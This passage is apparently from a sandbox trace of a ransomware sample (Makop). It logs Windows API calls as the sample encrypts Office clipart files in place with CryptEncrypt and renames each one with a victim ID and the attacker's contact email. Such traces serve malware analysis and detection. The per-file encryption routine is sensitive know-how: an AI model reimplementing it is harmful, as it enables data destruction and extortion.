lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x330, lpOverlapped=0x0) returned 1 [0109.135] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.135] SetEndOfFile (hFile=0xf0) returned 1 [0109.141] GetProcessHeap () returned 0x48a0000 [0109.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.141] GetProcessHeap () returned 0x48a0000 [0109.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.141] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.144] CloseHandle (hObject=0xf0) returned 1 [0109.144] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0109.144] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0109.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.146] GetProcessHeap () returned 0x48a0000 [0109.146] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.146] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.146] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0109.151] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.151] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.151] GetProcessHeap () returned 0x48a0000 [0109.151] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.152] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.152] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.152] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.153] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x332e, lpOverlapped=0x0) returned 1 [0109.155] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3330, dwBufLen=0x3330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3330) returned 1 [0109.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3330, lpOverlapped=0x0) returned 1 [0109.155] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.155] SetEndOfFile (hFile=0xf0) returned 1 [0109.162] GetProcessHeap () returned 0x48a0000 [0109.162] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.162] GetProcessHeap () returned 0x48a0000 [0109.163] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.163] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.173] CloseHandle (hObject=0xf0) returned 1 [0109.173] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0109.173] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0109.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.174] GetProcessHeap () returned 0x48a0000 [0109.174] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.174] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.174] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0109.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.179] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.179] GetProcessHeap () returned 0x48a0000 [0109.179] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.179] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.179] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.180] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.180] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.180] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.180] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.181] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x69aa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x69aa, lpOverlapped=0x0) returned 1 [0109.182] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69b0, dwBufLen=0x69b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69b0) returned 1 [0109.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x69b0, lpOverlapped=0x0) returned 1 [0109.183] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.184] SetEndOfFile (hFile=0xf0) returned 1 [0109.191] GetProcessHeap () returned 0x48a0000 [0109.191] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.191] GetProcessHeap () returned 0x48a0000 [0109.191] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.191] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.192] CloseHandle (hObject=0xf0) returned 1 [0109.193] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0109.193] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0109.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.194] GetProcessHeap () returned 0x48a0000 [0109.194] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.194] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.194] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.194] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.199] GetProcessHeap () returned 0x48a0000 [0109.199] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.199] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.199] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.199] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.199] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.200] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.201] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b54, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b54, lpOverlapped=0x0) returned 1 [0109.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b60, dwBufLen=0x1b60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b60) returned 1 [0109.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b60, lpOverlapped=0x0) returned 1 [0109.203] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.203] SetEndOfFile (hFile=0xf0) returned 1 [0109.210] GetProcessHeap () returned 0x48a0000 [0109.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.210] GetProcessHeap () returned 0x48a0000 [0109.211] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.211] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.212] CloseHandle (hObject=0xf0) returned 1 [0109.212] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0109.216] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0109.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.217] GetProcessHeap () returned 0x48a0000 [0109.217] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.217] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.217] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0109.221] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.221] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.221] GetProcessHeap () returned 0x48a0000 [0109.221] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.221] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.221] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.222] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.222] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.222] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.222] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.222] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.223] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.223] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 